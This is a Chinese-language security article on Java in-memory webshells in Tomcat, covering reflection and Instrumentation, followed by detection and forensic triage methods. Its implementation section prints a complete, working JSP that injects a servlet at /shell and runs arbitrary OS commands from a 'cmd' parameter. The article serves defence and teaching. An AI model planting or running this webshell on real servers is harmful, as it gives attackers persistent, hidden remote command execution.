Java Instrumentation 内存马——主要是利用Instrumentation Java API来做内存注入，会用到反射机制，文中提到检测思路：注入jar包-> dump已加载class字节码->反编译成java代码-> 源码webshell检测

 java背景知识

实现方式：https://tttang.com/archive/1390/ 可参考

 

2.3.1 java反射

反射提供的功能，能在运行时（动态）的

1.获取一个类的所有成员变量和方法

2.创建一个类的对象

a.获取对象成员变量&赋值
b.调用对象的方法
c.判断对象所属的类

在注入内存马的过程当中，我们可能需要用到反射机制，例如注入一个servlet型的内存马，我们需要使用反射机制来获取当前的context，然后将恶意的servlet（wrapper）添加到当前的context的children中。
在使用Java反射机制时，主要步骤包括：

①获取 目标类型的Class对象
②通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
③通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息，并进行后续操作

2.3.2 java instrumentation

Instrumentation是Java提供的一个来自JVM的接口，该接口提供了一系列查看和操作Java类定义的方法，例如修改类的字节码、向classLoader的classpath下加入jar文件等。使得开发者可以通过Java语言来操作和监控JVM内部的一些状态，进而实现Java程序的监控分析，甚至实现一些特殊功能（如AOP、热部署）。
Java agent是一种特殊的Java程序（Jar文件），它是Instrumentation的客户端。与普通Java程序通过main方法启动不同，agent并不是一个可以单独启动的程序，而必须依附在一个Java应用程序（JVM）上，与它运行在同一个进程中，通过Instrumentation API与虚拟机交互。
在注入内存马的过程中，我们可以利用java instrumentation机制，动态的修改已加载到内存中的类里的方法，进而注入恶意的代码。

三、内存马实现

这里我们以tomcat的servletAPI型内存马为例讲一下内存马的实现。下面的代码先是创建了一个恶意的servlet，然后获取当前的StandardContext，然后将恶意servlet封装成wrapper添加到StandardContext的children当中，最后添加ServletMapping将访问的URL和wrapper进行绑定。

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
    // 创建恶意Servlet
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };

    %>
<%
    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

    // 用Wrapper对其进行封装
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    newWrapper.setName("jweny");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // 添加封装后的恶意Wrapper到StandardContext的children当中
    standardCtx.addChild(newWrapper);

    // 添加ServletMapping将访问的URL和Servlet进行绑定
    standardCtx.addServletMapping("/shell","jweny");
%>

执行上述代码后，访问当前应用的/shell路径，加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽，做到内存马与URL无关，无论这个url是原生servlet还是某个struts action，甚至无论这个url是否真的存在，只要我们的请求传递给tomcat，tomcat就能相应我们的指令，那就得通过注入新的或修改已有的filter或者listener的方式来实现了。比如早期rebeyond师傅开发的memshell，就是通过修改org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法来实现的，后期冰蝎最新版本的内存马为了实现更好的兼容性，选择hook javax.servlet.http.HttpServlet#service 函数，在weblogic选择hook weblogic.servlet.internal.ServletStubImpl#execute 函数。

四、内存马检测与排查

4.1源码检测

在java中，只有被JVM加载后的类才能被调用，或者在需要时通过反射通知JVM加载。所以特征都在内存中，表现形式为被加载的class。需要通过某种方法获取到JVM的运行时内存中已加载的类， Java本身提供了Instrumentation类来实现运行时注入代码并执行，因此产生一个检测思路：注入jar包-> dump已加载class字节码->反编译成java代码-> 源码webshell检测。
这样检测比较消耗性能，我们可以缩小需要进行源码检测的类的范围，通过如下的筛选条件组合使用筛选类进行检测：
①新增的或修改的；
②没有对应class文件的
③xml配置中没注册的
④冰蝎等常见工具使用的
⑤filterchain中排第一的filter类

还有一些比较弱的特征可以用来辅助检测，比如类名称中包含shell或者为随机名，使用不常见的classloader加载的类等等。

另外，有一些工具可以辅助检测内存马，如java-memshell-scanner是通过jsp扫描应用中所有的filter和servlet，然后通过名称、对应的class是否存在来判断是否是内存马

4.2 内存马排查

如果我们通过检测工具或者其他手段发现了一些内存webshell的痕迹，需要有一个排查的思路来进行跟踪分析，也是根据各类型的原理，列出一个排查思路。

如果是jsp注入，日志中排查可疑jsp的访问请求。

如果是代码执行漏洞，排查中间件的error.log，查看是否有可疑的报错，判断注入时间和方法

根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell，排查框架漏洞，反序列化漏洞。

如果是servlet或者spring的controller类型，根据上报的webshell的url查找日志（日志可能被关闭，不一定有），根据url最早访问时间确定被注入时间。

如果是filter或者listener类型，可能会有较多的404但是带有参数的请求，或者大量请求不同url但带有相同的参数，或者页面并不存在但返回200

参考链接

java web请求三大器——listener、filter、servlet
Tomcat架构原理
利用“进程注入”实现无文件复活 WebShell
深入理解反射
查杀Java web filter型内存马